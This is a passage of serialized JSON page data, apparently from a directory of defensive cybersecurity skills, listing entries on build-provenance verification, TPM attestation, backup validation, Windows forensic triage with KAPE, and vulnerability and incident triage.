"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":114,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[113],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[115,116,117,118,119,46,120,121,41,122,123,124,125,126,127,128,129,130,131,132],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":140,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[139],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[141,129,142,143,119,144,46,41,145,146,147,148,149,150,151,152,153,154,155,156],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":165,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[163,164],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[151,166,167,168,38,46,169,170,145,171,172,173,174,175,176,177,178,179,180,181],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":189,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[188],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[190,191,192,46,193,194,195,196,197,198,199,200,201,202,203,204,148,205,206,207],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":215,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[214],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,216,217,46,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[240],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[119,242,46,243,244,245,246,247,248,249,250,177,251,178,252,253,254,255,256,257],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]